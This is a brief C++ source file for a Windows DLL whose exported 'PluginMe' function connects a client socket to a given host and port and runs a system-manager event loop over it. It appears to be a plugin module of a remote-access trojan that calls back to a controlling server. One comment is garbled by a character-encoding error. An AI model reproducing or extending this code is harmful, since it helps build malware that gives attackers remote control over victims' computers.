// SYSTEM.cpp : Defines the entry point for the DLL application. // #include "SystemManager.h" #include "ClientSocket.h" #pragma comment(lib,"kernel32.lib") #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") #pragma comment(linker, "/ENTRY:_DllMain") #pragma comment(linker,"/opt:nowin98") #include "stdio.h" HMODULE hDllModule; BOOL APIENTRY _DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { return TRUE; } //Îļþ¼Ð¹ÜÀí extern "C" __declspec(dllexport) BOOL PluginMe(LPCTSTR lpszHost, UINT nPort, LPBYTE lparam) { CClientSocket socketClient; if (!socketClient.Connect(lpszHost, nPort)) return -1; hDllModule = (HMODULE)lparam; CSystemManager manager(&socketClient,lpszHost,nPort); socketClient.run_event_loop(); return 0; }